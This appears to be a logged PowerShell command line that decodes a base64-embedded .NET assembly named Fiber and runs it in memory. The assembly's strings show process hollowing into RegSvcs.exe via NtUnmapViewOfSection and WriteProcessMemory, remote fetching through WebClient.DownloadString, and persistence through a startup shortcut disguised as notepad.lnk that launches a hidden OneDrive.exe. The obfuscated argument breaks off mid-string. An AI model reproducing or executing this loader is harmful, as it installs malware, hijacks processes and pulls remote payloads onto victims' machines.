Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('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AQAAASkADAcBAAABKwBOBwEAAAEtAGAHAQAAAS8AgAQCAAABMQAiBwEAAAEzAIAAAQAEgAAAAQAAAAAAAAAAAAAAAADSBAAACgAAAAAAAAAAAAAAoQFbAAAAAAAEAAAAAAAAAAAAAACqATMEAAAAAAQAAAAAAAAAAAAAAKoBUgAAAAAAAAAAAAEAAAAcBgAADAAEAA0ABAAOAAgADwAIAAAAEAAaAFAAAAAQAEkAUAAAAAAASwBQACMAkgEjAJwBAAAAAABBYDEAQ29udGV4dFZhbHVlYDEAVG9JbnQzMgBUb0ludDE2AGdldF9VVEY4AEEAQgBDAEQARQBWQUkAUUJYdFgAUHJvamVjdERhdGEAZGF0YQBtc2NvcmxpYgBNaWNyb3NvZnQuVmlzdWFsQmFzaWMAR2V0UHJvY2Vzc0J5SWQAUmVzdW1lVGhyZWFkAFN5bmNocm9uaXplZABSZXBsYWNlAENyZWF0ZUluc3RhbmNlAEFuZGUAR2V0SGFzaENvZGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUASG9tZQBWYWx1ZVR5cGUAQXBwbGljYXRpb25CYXNlAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAFN0clJldmVyc2UARWRpdG9yQnJvd3NhYmxlU3RhdGUAR3VpZEF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAFN0YW5kYXJkTW9kdWxlQXR0cmlidXRlAEhpZGVNb2R1bGVOYW1lQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAE9iZnVzY2F0aW9uQXR0cmlidXRlAE15R3JvdXBDb2xsZWN0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAWWFub0F0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAU3VwcHJlc3NVbm1hbmFnZWRDb2RlU2VjdXJpdHlBdHRyaWJ1dGUAQnl0ZQBnZXRfVmFsdWUAc2V0X1ZhbHVlAEdldE9iamVjdFZhbHVlAGdldF9TaXplAFNpemVPZgBOZXdMYXRlQmluZGluZwBzZXRfRW5jb2RpbmcAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBGcm9tQmFzZTY0U3RyaW5nAERvd25sb2FkU3RyaW5nAFRvU3RyaW5nAE9wdGljYWwATWFyc2hhbABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwATGF0ZUNhbGwAa2VybmVsMzIuZGxsAG50ZGxsLmRsbABGaWJlci5kbGwAS2lsbABTeXN0ZW0AQm9vbGVhbgBWZXJzaW9uAFN5c3RlbS5Db25maWd1cmF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAEludGVyYWN0aW9uAE50VW5tYXBWaWV3T2ZTZWN0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAEV4Y2VwdGlvbgBDdWx0dXJlSW5mbwBaZXJvAFN0YXJ0dXAAc3RhcnR1cABGaWJlcgBCdWZmZXIAUmVzb3VyY2VNYW5hZ2VyAFVzZXIAQml0Q29udmVydGVyAENvbXB1dGVyAENsZWFyUHJvamVjdEVycm9yAFNldFByb2plY3RFcnJvcgBBY3RpdmF0b3IALmN0b3IALmNjdG9yAEludFB0cgBTeXN0ZW0uRGlhZ25vc3RpY3MATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkRldmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkFwcGxpY2F0aW9uU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5Db21waWxlclNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJlc291cmNlcwBGaWJlci5SZXNvdXJjZXMucmVzb3VyY2VzAEdldEJ5dGVzAFN0cmlu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AQBMAGUAZwBhAGwAVAByAGEAZABlAG0AYQByAGsAcwAAAAAAAAAAADwACgABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABGAGkAYgBlAHIALgBkAGwAbAAAACIAAQABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAAAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAADAAAALQ0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==');[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] (' ??v?}???@+@ ?@@ ??v?}??.so!}( }4}? ?4??#:?(+ ((+ (v.4??#:?sr8??(su4??#:?4}? ?lo_8??(garo 